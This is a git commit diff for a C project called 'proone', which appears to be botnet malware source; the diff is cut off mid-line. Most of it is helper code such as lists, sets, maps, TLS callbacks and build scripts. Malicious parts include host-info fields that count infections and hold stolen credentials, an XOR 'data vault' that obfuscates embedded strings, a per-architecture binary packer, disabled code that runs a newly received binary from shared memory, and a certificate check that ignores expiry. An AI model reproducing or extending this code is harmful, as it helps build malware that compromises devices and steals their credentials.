diff options
author | David Timber <mieabby@gmail.com> | 2020-01-11 18:03:47 +1100 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-01-11 18:03:47 +1100 |
commit | 10512fc50e6184397206a41c157c09d9b02e9e1a (patch) | |
tree | 5f0779032edf0f0710400ae6c99b9a3f2977735d | |
parent | 129e12d7685a6ea99fde514ad104a0368a19033d (diff) |
staged resolv_worker
* replaced RNG from `rnd` to `mbedtls_ctr_drbg`
* use of `uint_fastN_t` where appropriate
* heartbeat protocol draft
* improved worker scheduling mech
-rw-r--r-- | proone.code-workspace | 4 | ||||
-rwxr-xr-x | scripts/build-all.sh | 9 | ||||
-rw-r--r-- | src/Makefile.am | 24 | ||||
-rw-r--r-- | src/dvault.c | 16 | ||||
-rw-r--r-- | src/dvault.h | 4 | ||||
-rw-r--r-- | src/heartbeat.c | 0 | ||||
-rw-r--r-- | src/heartbeat.h | 42 | ||||
-rw-r--r-- | src/htbt-worker.c (renamed from src/heartbeat-worker.c) | 89 | ||||
-rw-r--r-- | src/htbt-worker.h (renamed from src/heartbeat-worker.h) | 2 | ||||
-rw-r--r-- | src/imap.c | 96 | ||||
-rw-r--r-- | src/imap.h | 30 | ||||
-rw-r--r-- | src/iset.c | 78 | ||||
-rw-r--r-- | src/iset.h | 22 | ||||
-rw-r--r-- | src/llist.c | 104 | ||||
-rw-r--r-- | src/llist.h | 28 | ||||
-rw-r--r-- | src/mbedtls.c | 52 | ||||
-rw-r--r-- | src/mbedtls.h | 12 | ||||
-rw-r--r-- | src/pack.c | 10 | ||||
-rw-r--r-- | src/proone-list-arch.c | 2 | ||||
-rw-r--r-- | src/proone-mask.c | 4 | ||||
-rw-r--r-- | src/proone-pack.c | 13 | ||||
-rw-r--r-- | src/proone-print-all-data.c | 4 | ||||
-rw-r--r-- | src/proone-resolv.c | 402 | ||||
-rw-r--r-- | src/proone-unpack.c | 6 | ||||
-rw-r--r-- | src/proone.c | 626 | ||||
-rw-r--r-- | src/proone.h | 30 | ||||
-rw-r--r-- | src/protocol.c | 54 | ||||
-rw-r--r-- | src/protocol.h | 131 | ||||
-rw-r--r-- | src/resolv_worker.c | 1453 | ||||
-rw-r--r-- | src/resolv_worker.h | 95 | ||||
-rw-r--r-- | src/rnd.c | 27 | ||||
-rw-r--r-- | src/rnd.h | 2 | ||||
-rw-r--r-- | src/util_rt.c | 109 | ||||
-rw-r--r-- | src/util_rt.h | 28 | ||||
-rw-r--r-- | src/worker.c | 293 | ||||
-rw-r--r-- | src/worker.h | 77 |
36 files changed, 3400 insertions, 578 deletions
diff --git a/proone.code-workspace b/proone.code-workspace index 97ca196..92d77bd 100644 --- a/proone.code-workspace +++ b/proone.code-workspace @@ -8,7 +8,9 @@ "editor.insertSpaces": false, "C_Cpp.default.cStandard": "c11", "C_Cpp.default.defines": [ - "_GNU_SOURCE"], + "_GNU_SOURCE", + "PRNE_DEBUG", + "PRNE_BUILD_ENTROPY=\"84532ab2-0857-4137-9daf-abd990684889\""], "C_Cpp.default.compilerArgs": [ "-pedantic", "-Wall", diff --git a/scripts/build-all.sh b/scripts/build-all.sh index b3e3504..7c87b82 100755 --- a/scripts/build-all.sh +++ b/scripts/build-all.sh @@ -56,10 +56,17 @@ fi make distclean # native build for tools -./configure $PROONE_AM_CONF && make -j$(nproc) && cp -a src/proone-pack "$PROONE_PACKER" && cp -a src/proone-unpack "$PROONE_UNPACKER" && make distclean +./configure $PROONE_AM_CONF && make -j$(nproc) && + cp -a src/proone-pack "$PROONE_PACKER" && + cp -a src/proone-unpack "$PROONE_UNPACKER" && + cp -a src/proone-list-arch "$PROONE_TOOLS/proone-list-arch" && + cp -a src/proone-mask "$PROONE_TOOLS/proone-mask" && + cp -a src/proone-print-all-data "$PROONE_TOOLS/proone-print-all-data" && + cp -a src/proone-resolv "$PROONE_TOOLS/proone-resolv" if [ $? -ne 0 ]; then exit $? fi +make distclean # cross-compile targets for (( i = 0; i < ARR_SIZE; i += 1 )); do diff --git a/src/Makefile.am b/src/Makefile.am index bd851c6..5f3903e 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -8,10 +8,17 @@ TARGET_FLAGS += -Os DEV_FLAGS += -Os endif -AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -Wno-unused-parameter -D_GNU_SOURCE $(DEV_FLAGS) +AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -Wno-unused-parameter -D_GNU_SOURCE -DPRNE_BUILD_ENTROPY=\"`uuidgen -r`\" $(DEV_FLAGS) noinst_LIBRARIES = libproone.a -bin_PROGRAMS = proone proone-pack proone-unpack proone-list-arch proone-mask proone-print-all-data +bin_PROGRAMS =\ + proone\ + proone-pack\ + proone-unpack\ + proone-list-arch\ + proone-mask\ + proone-print-all-data\ + proone-resolv libproone_a_SOURCES =\ protocol.c\ @@ -19,13 +26,16 @@ libproone_a_SOURCES =\ dvault.c\ data.c\ util_rt.c\ - rnd.c + llist.c\ + iset.c\ + imap.c\ + mbedtls.c\ + worker.c\ + resolv_worker.c proone_LDFLAGS = -static proone_LDADD = libproone.a $(LIBS) $(DEP_PKGCFG_LIBS) -lrt -lpthread proone_SOURCES =\ - worker.c\ - heartbeat-worker.c\ proone.c proone_pack_LDADD = libproone.a @@ -48,5 +58,9 @@ proone_print_all_data_LDADD = libproone.a proone_print_all_data_LDFLAGS = $(LIBS) $(DEP_PKGCFG_LIBS) proone_print_all_data_SOURCES = proone-print-all-data.c +proone_resolv_LDADD = libproone.a +proone_resolv_LDFLAGS = $(LIBS) $(DEP_PKGCFG_LIBS) +proone_resolv_SOURCES = proone-resolv.c + if TESTS endif diff --git a/src/dvault.c b/src/dvault.c index 760adfe..85b2d46 100644 --- a/src/dvault.c +++ b/src/dvault.c @@ -62,7 +62,7 @@ static void entry_check (const prne_data_key_t key, const prne_data_type_t type) } -const char *prne_data_type2str (const prne_data_type_t t) { +const char *prne_data_type_tostr (const prne_data_type_t t) { switch (t) { case PRNE_DATA_TYPE_CSTR: return "cstr"; case PRNE_DATA_TYPE_BIN: return "bin"; @@ -70,11 +70,11 @@ const char *prne_data_type2str (const prne_data_type_t t) { return NULL; } -prne_data_type_t prne_str2data_type (const char *str) { - if (strcmp(str, prne_data_type2str(PRNE_DATA_TYPE_CSTR)) == 0) { +prne_data_type_t prne_data_type_fstr (const char *str) { + if (strcmp(str, prne_data_type_tostr(PRNE_DATA_TYPE_CSTR)) == 0) { return PRNE_DATA_TYPE_CSTR; } - if (strcmp(str, prne_data_type2str(PRNE_DATA_TYPE_BIN)) == 0) { + if (strcmp(str, prne_data_type_tostr(PRNE_DATA_TYPE_BIN)) == 0) { return PRNE_DATA_TYPE_BIN; } @@ -108,7 +108,7 @@ prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const u prne_init_dvault_mask_result(&ret); - if (data_size > 0x0000FFFF) { + if (data_size > 0xFFFF) { ret.result = PRNE_DVAULT_MASK_TOO_LARGE; return ret; } @@ -126,10 +126,10 @@ prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const u } sprintf(ret.str, "\\x%02X\\x%02X\\x%02X\\x%02X", - (uint8_t)type, + type, salt, - (uint8_t)((0x0000FF00 & (uint32_t)data_size) >> 8), - (uint8_t)((0x000000FF & (uint32_t)data_size) >> 0)); + (int)((0xFF00 & (uint_fast16_t)data_size) >> 8), + (int)((0x00FF & (uint_fast16_t)data_size) >> 0)); for (i = 0; i < data_size; i += 1) { sprintf(ret.str + 4 * 4 + 4 * i, "\\x%02X", data[i] ^ PRNE_DVAULT_MASK[(i + (size_t)salt) % 256]); diff --git a/src/dvault.h b/src/dvault.h index d99a660..3ae29e6 100644 --- a/src/dvault.h +++ b/src/dvault.h @@ -35,8 +35,8 @@ struct prne_dvault_mask_result { extern const uint8_t PRNE_DVAULT_MASK[256]; -const char *prne_data_type2str (const prne_data_type_t t); -prne_data_type_t prne_str2data_type (const char *str); +const char *prne_data_type_tostr (const prne_data_type_t t); +prne_data_type_t prne_data_type_fstr (const char *str); void prne_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt); void prne_init_dvault_mask_result (prne_dvault_mask_result_t *r); diff --git a/src/heartbeat.c b/src/heartbeat.c deleted file mode 100644 index e69de29..0000000 --- a/src/heartbeat.c +++ /dev/null diff --git a/src/heartbeat.h b/src/heartbeat.h deleted file mode 100644 index 3d396cb..0000000 --- a/src/heartbeat.h +++ /dev/null @@ -1,42 +0,0 @@ -#pragma once -#include "protocol.h" -#include "util_ct.h" - -#include <stdint.h> -#include <stddef.h> -#include <stdbool.h> - - -typedef struct prne_htbt_host_info prne_htbt_host_info_t; - -typedef enum { - PRNE_HTBT_OP_HOST_INFO, - PRNE_HTBT_OP_CMD, - PRNE_HTBT_OP_NY_BIN, - PRNE_HTBT_OP_RSP, - - NB_PRNE_HTBT_OP -} prne_htbt_op_t; -PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFF); - -typedef enum { - PRNE_HTBT_RSP_OK, - PRNE_HTBT_RSP_ERRNO, - - NB_PRNE_HTBT_RSP -} prne_htbt_rsp_t; -PRNE_LIMIT_ENUM(prne_htbt_rsp_t, NB_PRNE_HTBT_RSP, 0xFF); - -struct prne_htbt_host_info { - char prog_ver[36]; - uint64_t uptime; - uint64_t rerun_cnt; - uint64_t bne_cnt; - uint64_t infect_cnt; - uint32_t god_pid; - uint32_t proone_pid; - const char *cred_str; - uint8_t cred_id_len; - uint8_t cred_pw_len; - prne_arch_t arch; -}; diff --git a/src/heartbeat-worker.c b/src/htbt-worker.c index 3fd4853..3387000 100644 --- a/src/heartbeat-worker.c +++ b/src/htbt-worker.c @@ -1,4 +1,6 @@ -#include "heartbeat-worker.h" +#include "htbt-worker.h" +#include "protocol.h" +#include "proone.h" #include "util_rt.h" #include "dvault.h" @@ -10,6 +12,8 @@ #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> +#include <sys/mman.h> +#include <sys/stat.h> #define DECL_CTX_PTR(p) hb_w_ctx_t *ctx = (hb_w_ctx_t*)p; @@ -22,11 +26,82 @@ struct hb_w_ctx { bool finalised; }; -static const uint16_t HEARTBEAT_DEFAULT_BIND_PORT = 55420; + +#if 0 +static int create_ny_bin_shm (prne_rnd_engine_t *rnd) { + static const size_t str_len = sizeof(prne_s_g->ny_bin_shm_name); + + prne_s_g->ny_bin_shm_name[0] = '/'; + prne_s_g->ny_bin_shm_name[str_len - 1] = 0; + prne_rnd_anum_str(rnd, prne_s_g->ny_bin_shm_name + 1, str_len - 2); + + return shm_open(prne_s_g->ny_bin_shm_name, O_RDWR | O_CREAT | O_TRUNC, 0700); +} + +static void exec_ny_bin (void) { + // Just die on error + static const size_t proc_fd_path_size = 14 + 11 + 1; + int fd; + uint8_t *data; + size_t i; + const char **args; + struct stat st; + char *proc_fd_path, *real_shm_path; + prne_htbt_cmd_t cmd; + + prne_htbt_init_cmd(&cmd); + + fd = shm_open(prne_s_g->ny_bin_shm_name, O_RDONLY, 0); + if (fd < 0) { + abort(); + } + if (fstat(fd, &st) < 0 || st.st_size <= 0 || (size_t)st.st_size < prne_s_g->ny_bin_size) { + abort(); + } + data = (uint8_t*)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED, fd, 0); + + if (prne_htbt_deserialise_cmd(data + prne_s_g->ny_bin_size, (size_t)st.st_size - prne_s_g->ny_bin_size, NULL, &cmd) != PRNE_HTBT_DESER_RET_OK) { + abort(); + } + + munmap(data, (size_t)st.st_size); + data = NULL; + ftruncate(fd, prne_s_g->ny_bin_size); + + args = prne_malloc(sizeof(const char*), (size_t)cmd.argc + 2); + for(i = 1; i <= cmd.argc; i += 1) { + args[i] = cmd.mem + cmd.offset_arr[i]; + } + args[i] = NULL; + + proc_fd_path = prne_malloc(1, proc_fd_path_size); + snprintf(proc_fd_path, proc_fd_path_size, "/proc/self/fd/%d", fd); + if (lstat(proc_fd_path, &st) < 0) { + abort(); + } + + real_shm_path = prne_malloc(1, st.st_size + 1); + if (readlink(proc_fd_path, real_shm_path, st.st_size) != st.st_size) { + abort(); + } + prne_free(proc_fd_path); + proc_fd_path = NULL; + args[0] = real_shm_path; + + fchmod(fd, 0777); + prne_close(fd); + fd = -1; + + if (execv(real_shm_path, (char *const*)args) < 0) { + abort(); + } +} +#endif + static void heartbeat_worker_free (void *in_ctx) { DECL_CTX_PTR(in_ctx); - close(ctx->fd); + prne_close(ctx->fd); prne_free(ctx); } @@ -84,7 +159,7 @@ static bool heartbeat_worker_has_finalised (void *in_ctx) { } -bool prne_alloc_heartbeat_worker (prne_worker_t *w) { +bool prne_alloc_htbt_worker (prne_worker_t *w) { bool ret = true; hb_w_ctx_t *ctx = NULL; @@ -121,7 +196,7 @@ bool prne_alloc_heartbeat_worker (prne_worker_t *w) { memset(&local_addr, 0, sizeof(struct sockaddr_in)); local_addr.sin_family = AF_INET; - local_addr.sin_port = htons(HEARTBEAT_DEFAULT_BIND_PORT); + local_addr.sin_port = htons(PRNE_HTBT_PROTO_PORT); local_addr.sin_addr.s_addr = INADDR_ANY; if (bind(ctx->fd, (const struct sockaddr*)&local_addr, sizeof(struct sockaddr_in)) < 0) { @@ -134,7 +209,7 @@ bool prne_alloc_heartbeat_worker (prne_worker_t *w) { memset(&local_addr, 0, sizeof(struct sockaddr_in6)); local_addr.sin6_family = AF_INET6; - local_addr.sin6_port = htons(HEARTBEAT_DEFAULT_BIND_PORT); + local_addr.sin6_port = htons(PRNE_HTBT_PROTO_PORT); if (bind(ctx->fd, (const struct sockaddr*)&local_addr, sizeof(struct sockaddr_in6)) < 0) { ret = false; @@ -151,7 +226,7 @@ bool prne_alloc_heartbeat_worker (prne_worker_t *w) { END: if (!ret) { if (ctx != NULL) { - close(ctx->fd); + prne_close(ctx->fd); } prne_free(ctx); } diff --git a/src/heartbeat-worker.h b/src/htbt-worker.h index 7a5f060..9d4ac33 100644 --- a/src/heartbeat-worker.h +++ b/src/htbt-worker.h @@ -6,4 +6,4 @@ #include <stdint.h> -bool prne_alloc_heartbeat_worker (prne_worker_t *w); +bool prne_alloc_htbt_worker (prne_worker_t *w); diff --git a/src/imap.c b/src/imap.c new file mode 100644 index 0000000..88e24e9 --- /dev/null +++ b/src/imap.c @@ -0,0 +1,96 @@ +#include "imap.h" +#include "util_rt.h" + +#include <stdlib.h> +#include <string.h> + + +static int imap_cmp_func (const void *a, const void *b) { + return + ((const prne_imap_tuple_t*)a)->key < ((const prne_imap_tuple_t*)b)->key ? -1 : + ((const prne_imap_tuple_t*)a)->key > ((const prne_imap_tuple_t*)b)->key ? 1 : + 0; +} + + +void prne_init_imap (prne_imap_t *im) { + im->tbl = NULL; + im->size = 0; +} + +void prne_free_imap (prne_imap_t *im) { + prne_free(im->tbl); + im->tbl = NULL; + im->size = 0; +} + +void prne_imap_clear (prne_imap_t *im) { + prne_free(im->tbl); + im->tbl = NULL; + im->size = 0; +} + +const prne_imap_tuple_t *prne_imap_insert (prne_imap_t *im, const prne_imap_key_type_t key, void *val) { + prne_imap_tuple_t *ret; + prne_imap_tuple_t t; + + t.key = key; + t.val = val; + + ret = (prne_imap_tuple_t*)bsearch(&t, im->tbl, im->size, sizeof(prne_imap_tuple_t), imap_cmp_func); + if (ret == NULL) { + void *ny_mem; + + ny_mem = prne_realloc(im->tbl, sizeof(prne_imap_tuple_t), im->size + 1); + if (ny_mem == NULL) { + return NULL; + } + im->tbl = (prne_imap_tuple_t*)ny_mem; + im->tbl[im->size] = t; + im->size += 1; + + qsort(im->tbl, im->size, sizeof(prne_imap_tuple_t), imap_cmp_func); + ret = (prne_imap_tuple_t*)prne_imap_lookup(im, key); + } + else { + ret->val = t.val; + } + + return ret; +} + +void prne_imap_erase (prne_imap_t *im, const prne_imap_key_type_t key) { + prne_imap_tuple_t *ext; + prne_imap_tuple_t t; + + t.key = key; + t.val = NULL; + + ext = bsearch(&t, im->tbl, im->size, sizeof(prne_imap_tuple_t), imap_cmp_func); + if (ext != NULL) { + if (im->size - 1 == 0) { + prne_free(im->tbl); + im->tbl = NULL; + im->size = 0; + } + else { + void *ny_mem; + + memmove(ext, ext + 1, sizeof(prne_imap_tuple_t) * (im->size - 1 - (ext - im->tbl))); + im->size -= 1; + ny_mem = prne_realloc(im->tbl, sizeof(prne_imap_tuple_t), im->size); + if (ny_mem != NULL) { + im->tbl = (prne_imap_tuple_t*)ny_mem; + } + } + } +} + +const prne_imap_tuple_t *prne_imap_lookup (prne_imap_t *im, const prne_imap_key_type_t key) { + prne_imap_tuple_t t; + + t.key = key; + t.val = NULL; + + return (const prne_imap_tuple_t*)bsearch(&t, im->tbl, im->size, sizeof(prne_imap_tuple_t), imap_cmp_func); +} diff --git a/src/imap.h b/src/imap.h new file mode 100644 index 0000000..d7eb788 --- /dev/null +++ b/src/imap.h @@ -0,0 +1,30 @@ +#pragma once +#include <stddef.h> +#include <stdbool.h> +#include <stdint.h> + + +struct prne_imap; +struct prne_imap_tuple; +typedef uintptr_t prne_imap_key_type_t; +typedef struct prne_imap prne_imap_t; +typedef struct prne_imap_tuple prne_imap_tuple_t; + +struct prne_imap { + prne_imap_tuple_t *tbl; + size_t size; +}; + +struct prne_imap_tuple { + prne_imap_key_type_t key; + void *val; +}; + + +void prne_init_imap (prne_imap_t *im); +void prne_free_imap (prne_imap_t *im); + +void prne_imap_clear (prne_imap_t *im); +const prne_imap_tuple_t *prne_imap_insert (prne_imap_t *im, const prne_imap_key_type_t key, void *val); +void prne_imap_erase (prne_imap_t *im, const prne_imap_key_type_t key); +const prne_imap_tuple_t *prne_imap_lookup (prne_imap_t *im, const prne_imap_key_type_t key); diff --git a/src/iset.c b/src/iset.c new file mode 100644 index 0000000..b0dcb12 --- /dev/null +++ b/src/iset.c @@ -0,0 +1,78 @@ +#include "iset.h" +#include "util_rt.h" + +#include <stdlib.h> +#include <string.h> + + +static int iset_comp_func (const void *a, const void *b) { + return + *(const prne_iset_val_t*)a < *(const prne_iset_val_t*)b ? -1 : + *(const prne_iset_val_t*)a > *(const prne_iset_val_t*)b ? 1 : + 0; +} + + +void prne_init_iset (prne_iset_t *s) { + s->arr = NULL; + s->size = 0; +} + +void prne_free_iset (prne_iset_t *s) { + prne_free(s->arr); + s->arr = NULL; + s->size = 0; +} + +void prne_iset_clear (prne_iset_t *s) { + prne_free(s->arr); + s->arr = NULL; + s->size = 0; +} + +bool prne_iset_insert (prne_iset_t *s, const prne_iset_val_t v) { + void *ny_mem; + + if (prne_iset_lookup(s, v)) { + return true; + } + + ny_mem = prne_realloc(s->arr, sizeof(prne_iset_val_t), s->size + 1); + if (ny_mem == NULL) { + return false; + } + s->arr = (prne_iset_val_t*)ny_mem; + s->arr[s->size] = v; + s->size += 1; + qsort(s->arr, s->size, sizeof(prne_iset_val_t), iset_comp_func); + + return true; +} + +void prne_iset_erase (prne_iset_t *s, const prne_iset_val_t v) { + prne_iset_val_t *p; + + p = (prne_iset_val_t*)bsearch(&v, s->arr, s->size, sizeof(prne_iset_val_t), iset_comp_func); + if (p != NULL) { + if (s->size == 1) { + prne_free(s->arr); + s->arr = NULL; + s->size = 0; + } + else { + void *ny_mem; + + memmove(p, p + 1, sizeof(prne_iset_val_t) * (s->size - 1 - (p - s->arr))); + + s->size -= 1; + ny_mem = prne_realloc(s->arr, sizeof(prne_iset_val_t), s->size); + if (ny_mem != NULL) { + s->arr = (prne_iset_val_t*)ny_mem; + } + } + } +} + +bool prne_iset_lookup (prne_iset_t *s, const prne_iset_val_t v) { + return bsearch(&v, s->arr, s->size, sizeof(prne_iset_val_t), iset_comp_func) != NULL; +} diff --git a/src/iset.h b/src/iset.h new file mode 100644 index 0000000..acc8f14 --- /dev/null +++ b/src/iset.h @@ -0,0 +1,22 @@ +#pragma once +#include <stdbool.h> +#include <stdint.h> +#include <stddef.h> + + +typedef struct prne_iset prne_iset_t; +typedef uintptr_t prne_iset_val_t; + +struct prne_iset { + prne_iset_val_t *arr; + size_t size; +}; + + +void prne_init_iset (prne_iset_t *s); +void prne_free_iset (prne_iset_t *s); + +void prne_iset_clear (prne_iset_t *s); +bool prne_iset_insert (prne_iset_t *s, const prne_iset_val_t v); +void prne_iset_erase (prne_iset_t *s, const prne_iset_val_t v); +bool prne_iset_lookup (prne_iset_t *s, const prne_iset_val_t v); diff --git a/src/llist.c b/src/llist.c new file mode 100644 index 0000000..371ad89 --- /dev/null +++ b/src/llist.c @@ -0,0 +1,104 @@ +#include "llist.h" +#include "util_rt.h" + + +void prne_init_llist (prne_llist_t *llist) { + llist->head = NULL; + llist->tail = NULL; + llist->size = 0; +} + +void prne_free_llist (prne_llist_t *llist) { + prne_llist_clear(llist); +} + +void prne_llist_clear (prne_llist_t *llist) { + struct prne_llist_entry *cur = llist->head, *next; + + while (cur != NULL) { + next = cur->next; + prne_free(cur); + cur = next; + } + + llist->head = llist->tail = NULL; + llist->size = 0; +} + +prne_llist_entry_t *prne_llist_insert (prne_llist_t *llist, prne_llist_entry_t *entry, void *element) { + prne_llist_entry_t *ny; + + if (entry == NULL) { + return prne_llist_append(llist, element); + } + + ny = (prne_llist_entry_t*)prne_malloc(sizeof(prne_llist_entry_t), 1); + if (ny == NULL) { + return NULL; + } + ny->prev = entry; + ny->next = entry->next; + ny->element = element; + if (entry->next != NULL) { + entry->next->prev = ny; + } + else { + llist->tail = ny; + } + entry->next = ny; + + llist->size += 1; + return ny; +} + +prne_llist_entry_t *prne_llist_append (prne_llist_t *llist, void *element) { + prne_llist_entry_t *ny = (prne_llist_entry_t*)prne_malloc(sizeof(prne_llist_entry_t), 1); + + if (ny == NULL) { + return NULL; + } + ny->next = NULL; + ny->element = element; + + if (llist->tail == NULL) { + llist->head = llist->tail = ny; + ny->prev = NULL; + } + else { + llist->tail->next = ny; + ny->prev = llist->tail; + llist->tail = ny; + } + + llist->size += 1; + return ny; +} + +prne_llist_entry_t *prne_llist_erase (prne_llist_t *llist, prne_llist_entry_t *entry) { + prne_llist_entry_t *ret; + + if (entry == NULL) { + return NULL; + } + + if (entry == llist->head && entry == llist->tail) { + llist->head = llist->tail = NULL; + ret = NULL; + } + else if (entry == llist->head) { + ret = llist->head = llist->head->next; + llist->head->prev = NULL; + } + else if (entry == llist->tail) { + ret = llist->tail = llist->tail->prev; + llist->tail->next = NULL; + } + else { + ret = entry->prev->next = entry->next; + entry->next->prev = entry->prev; + } + + prne_free(entry); + llist->size -= 1; + return ret; +} diff --git a/src/llist.h b/src/llist.h new file mode 100644 index 0000000..9780ab9 --- /dev/null +++ b/src/llist.h @@ -0,0 +1,28 @@ +#pragma once +#include <stddef.h> +#include <stdbool.h> +#include <stdint.h> + + +struct prne_llist; +struct prne_llist_entry; +typedef struct prne_llist prne_llist_t; +typedef struct prne_llist_entry prne_llist_entry_t; + +struct prne_llist { + prne_llist_entry_t *head, *tail; + size_t size; +}; + +struct prne_llist_entry { + prne_llist_entry_t *prev, *next; + void *element; +}; + +void prne_init_llist (prne_llist_t *llist); +void prne_free_llist (prne_llist_t *llist); + +void prne_llist_clear (prne_llist_t *llist); +prne_llist_entry_t *prne_llist_insert (prne_llist_t *llist, prne_llist_entry_t *entry, void *element); +prne_llist_entry_t *prne_llist_append (prne_llist_t *llist, void *element); +prne_llist_entry_t *prne_llist_erase (prne_llist_t *llist, prne_llist_entry_t *entry); diff --git a/src/mbedtls.c b/src/mbedtls.c new file mode 100644 index 0000000..518da1f --- /dev/null +++ b/src/mbedtls.c @@ -0,0 +1,52 @@ +#include "mbedtls.h" + +#include <unistd.h> +#include <errno.h> + +#include <mbedtls/ssl.h> + + +int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt_depth, uint32_t *flags) { + *flags &= ~MBEDTLS_X509_BADCERT_EXPIRED; + return 0; +} + +int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len) { + const int fd = *(int*)ctx; + ssize_t ret; + + ret = write(fd, buf, len); + if (ret < 0) { + switch (errno) { +#if EAGAIN == EWOULDBLOCK + case EAGAIN: +#else + case EAGAIN: + case EWOULDBLOCK: +#endif + return MBEDTLS_ERR_SSL_WANT_WRITE; + } + } + + return ret; +} + +int prne_mbedtls_ssl_recv_cb (void *ctx, unsigned char *buf, size_t len) { + const int fd = *(int*)ctx; + ssize_t ret; + + ret = read(fd, buf, len); + if (ret < 0) { + switch (errno) { +#if EAGAIN == EWOULDBLOCK + case EAGAIN: +#else + case EAGAIN: + case EWOULDBLOCK: +#endif + return MBEDTLS_ERR_SSL_WANT_READ; + } + } + + return ret; +} diff --git a/src/mbedtls.h b/src/mbedtls.h new file mode 100644 index 0000000..02c50c2 --- /dev/null +++ b/src/mbedtls.h @@ -0,0 +1,12 @@ +#pragma once +#include <stdint.h> +#include <stdbool.h> +#include <stddef.h> + +#include <mbedtls/x509_crt.h> + + +// Callback that masks `MBEDTLS_X509_BADCERT_EXPIRED` +int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt_depth, uint32_t *flags); +int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len); +int prne_mbedtls_ssl_recv_cb (void *ctx, unsigned char *buf, size_t len); @@ -145,7 +145,7 @@ prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_arc prne_index_bin_archive_result_code_t ret = PRNE_INDEX_BIN_ARCHIVE_OK; size_t buf_pos = 0, arr_cnt = 0, offset_arr[NB_PRNE_ARCH], size_arr[NB_PRNE_ARCH]; prne_arch_t arch; - uint32_t bin_size; + uint_fast32_t bin_size; prne_arch_t arch_arr[NB_PRNE_ARCH]; prne_bin_archive_t archive; @@ -162,10 +162,10 @@ prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_arc arch = (prne_arch_t)in->data[buf_pos]; bin_size = - ((uint32_t)in->data[buf_pos + 1] << 16) | - ((uint32_t)in->data[buf_pos + 2] << 8) | - (uint32_t)in->data[buf_pos + 3]; - if (prne_arch2str(arch) == NULL || bin_size == 0 || buf_pos + 4 + bin_size > in->data_size) { + ((uint_fast32_t)in->data[buf_pos + 1] << 16) | + ((uint_fast32_t)in->data[buf_pos + 2] << 8) | + (uint_fast32_t)in->data[buf_pos + 3]; + if (prne_arch_tostr(arch) == NULL || bin_size == 0 || buf_pos + 4 + bin_size > in->data_size) { ret = PRNE_INDEX_BIN_ARCHIVE_FMT_ERR; goto END; } diff --git a/src/proone-list-arch.c b/src/proone-list-arch.c index e7521ae..c74bb77 100644 --- a/src/proone-list-arch.c +++ b/src/proone-list-arch.c @@ -7,7 +7,7 @@ int main (void) { prne_arch_t i; for (i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { - printf("%s\n", prne_arch2str(i)); + printf("%s\n", prne_arch_tostr(i)); } return 0; diff --git a/src/proone-mask.c b/src/proone-mask.c index 1cfabde..ba138a9 100644 --- a/src/proone-mask.c +++ b/src/proone-mask.c @@ -29,7 +29,7 @@ int main (const int argc, const char **args) { goto END; } - type = prne_str2data_type(args[1]); + type = prne_data_type_fstr(args[1]); switch (type) { case PRNE_DATA_TYPE_BIN: case PRNE_DATA_TYPE_CSTR: { @@ -59,7 +59,7 @@ int main (const int argc, const char **args) { goto END; } - getrandom(&salt, sizeof(uint8_t), 0); + getrandom(&salt, sizeof(salt), 0); mask_result = prne_dvault_mask(type, salt, read_size, buf); if (mask_result.result == PRNE_DVAULT_MASK_OK) { diff --git a/src/proone-pack.c b/src/proone-pack.c index 2098f4e..de2f05c 100644 --- a/src/proone-pack.c +++ b/src/proone-pack.c @@ -11,6 +11,7 @@ #include <sys/sendfile.h> #include <fcntl.h> +#include "util_rt.h" #include "protocol.h" @@ -62,7 +63,7 @@ int main (const int argc, const char **args) { } ext += 1; - arch = prne_str2arch(ext); + arch = prne_arch_fstr(ext); if (arch == PRNE_ARCH_NONE) { fprintf(stderr, "** %s: unknown arch \"%s\"\n", path, ext); proc_result = false; @@ -117,9 +118,9 @@ int main (const int argc, const char **args) { // write head head[0] = (uint8_t)archive->arch; // endian conversion as the file is big endian - head[1] = (uint8_t)(((uint32_t)st.st_size & 0x00FF0000) >> 16); - head[2] = (uint8_t)(((uint32_t)st.st_size & 0x0000FF00) >> 8); - head[3] = (uint8_t)((uint32_t)st.st_size & 0x000000FF); + head[1] = (uint8_t)(((uint_fast32_t)st.st_size & 0x00FF0000) >> 16); + head[2] = (uint8_t)(((uint_fast32_t)st.st_size & 0x0000FF00) >> 8); + head[3] = (uint8_t)((uint_fast32_t)st.st_size & 0x000000FF); if (write(STDOUT_FILENO, head, 4) != 4) { perror("write()"); proc_result = false; @@ -133,11 +134,11 @@ int main (const int argc, const char **args) { break; } - close(bin_fd); + prne_close(bin_fd); bin_fd = -1; } - close(bin_fd); + prne_close(bin_fd); bin_fd = -1; errno = 0; diff --git a/src/proone-print-all-data.c b/src/proone-print-all-data.c index d5acf0f..c22ff68 100644 --- a/src/proone-print-all-data.c +++ b/src/proone-print-all-data.c @@ -15,7 +15,7 @@ int main (void) { for (i = PRNE_DATA_KEY_NONE + 1; i < NB_PRNE_DATA_KEY; i += 1) { type = (prne_data_type_t)PRNE_DATA_DICT[i][0]; - printf("%10lld(%" TYPE_STR_PADDING "s): ", (long long)i, prne_data_type2str(type)); + printf("%10lld(%" TYPE_STR_PADDING "s): ", (long long)i, prne_data_type_tostr(type)); switch (type) { case PRNE_DATA_TYPE_CSTR: printf("%s", prne_dvault_unmask_entry_cstr(i, NULL)); @@ -32,7 +32,7 @@ int main (void) { break; } default: - fprintf(stderr, "Error: unknown data type (%d)'%s'\n", (int)type, prne_data_type2str(type)); + fprintf(stderr, "Error: unknown data type (%d)'%s'\n", 